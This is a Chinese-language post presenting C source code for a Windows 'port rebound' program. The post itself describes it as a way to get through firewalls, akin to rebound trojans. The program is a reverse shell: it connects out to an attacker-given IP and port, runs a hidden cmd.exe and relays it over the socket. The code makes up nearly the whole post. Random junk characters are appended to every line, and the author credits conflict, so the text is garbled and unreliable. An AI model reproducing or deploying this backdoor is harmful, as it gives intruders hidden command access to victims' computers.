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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 "rjv5*z^&  
c#{Ywh  
/* ============================== lPRdwg-  
Rebound port in Windows NT h;EwkbDQg>  
By wind,2006/7 nE]~E xr  
===============================*/ *R_'$+  
#include P\22op_te-  
#include CJMaltPp&  
I~p8#<4#b  
#pragma comment(lib,"wsock32.lib") Y!Uu173  
P Pwxk;  
void OutputShell(); +  ZR(  
SOCKET sClient; sR"zRn  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; %aj7-K6:t  
=2RhPD  
void main(int argc,char **argv) <qbZG}u  
{ M^j<J0(O  
WSADATA stWsaData; F!OOrW]p0  
int nRet; a%7"_{s1  
SOCKADDR_IN stSaiClient,stSaiServer; 1<LC8?wt  
%_B:EMPd  
if(argc != 3) , @%C8Z  
{ -H1"OJ2aF  
printf("Useage:\n\rRebound DestIP DestPort\n"); &YT_#M  
return; ?ID* /u|X  
} v!<PDw2'  
hmK8j l<6  
WSAStartup(MAKEWORD(2,2),&stWsaData); j+_S$T8w  
\6`v.B&v  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2 ) TG  
$ZQl IJZ  
stSaiClient.sin_family = AF_INET; j~,h )C/ v  
stSaiClient.sin_port = htons(0); GB&Nt{  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 4R& *&GZ#  
l `fW{lh  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 8A2if 9E3  
{ 5TXg;v#Z  
printf("Bind Socket Failed!\n"); KY4d+~2  
return; _MM   
} `4VO&lRm  
BN+V,W  
stSaiServer.sin_family = AF_INET; R&6n?g6@/V  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); N4I^.k<-A  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); <A#5v\{.;~  
G_V.H \w  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) JQ*D   
{ GN\8![J  
printf("Connect Error!"); wl7 MfyU  
return; -'80>[}q/  
} 7<h.KZPc  
OutputShell(); ixOEdQ  
} Y3-]+y%l  
q{a#HnZo"  
void OutputShell() 84iJ[Fq{  
{ Z:I*y7V-  
char szBuff[1024]; }Q/G &F  
SECURITY_ATTRIBUTES stSecurityAttributes; ^F>4~68d  
OSVERSIONINFO stOsversionInfo; ~_ *H)|  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 9aTL22U?  
STARTUPINFO stStartupInfo; %lXbCE:[  
char *szShell; 7< ^'DO s  
PROCESS_INFORMATION stProcessInformation; n`P`yb\f$  
unsigned long lBytesRead; T1l&B  
W;^N8ap%  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);  %)pP[[h  
vGXWwQ.1Tp  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); g93I+  
stSecurityAttributes.lpSecurityDescriptor = 0; O[; +i  
stSecurityAttributes.bInheritHandle = TRUE; pPoH5CzcK  
?K0U3V$s  
<e'P%tG'  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); fk+1#7{  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); s>T`l  
fCLcU@3W?  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Gu2_dT  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y;8 >=0ye  
stStartupInfo.wShowWindow = SW_HIDE; V?=TVI*k  
stStartupInfo.hStdInput = hReadPipe; CNut{4  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Was'A+GZ  
hQJo ~'W=  
GetVersionEx(&stOsversionInfo); [u[ U_g*  
(G#}*  
switch(stOsversionInfo.dwPlatformId) /4yOs@#  
{ 0[.3Es:_  
case 1: 8GY.){d!l  
szShell = "command.com"; e{5,'(1]  
break;   7krh4  
default: EY]a6@;  
szShell = "cmd.exe"; :JR<SFjm  
break; Lj4&_b9  
} u2 7S %2P  
5Yl6?  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 9J?W '8s5  
-)X{n?i  
send(sClient,szMsg,77,0); Te+^J8  
while(1) H- 185]7  
{ 0Su_#".-*  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); N3Z iGD  
if(lBytesRead) SWT:frki`  
{ r]9e^  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); QeL{Wa-2F  
send(sClient,szBuff,lBytesRead,0); &RWM<6JP  
} KCD5*xH  
else Fqo&3+J4  
{ d]MGN^%o  
lBytesRead=recv(sClient,szBuff,1024,0); A]j}'  
if(lBytesRead<=0) break; u)7*Rj^  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); L%f;J/  
} )U'yUUi  
} n? ]f@OR  
!Vb,zQ  
return; 3EmcYC  
}
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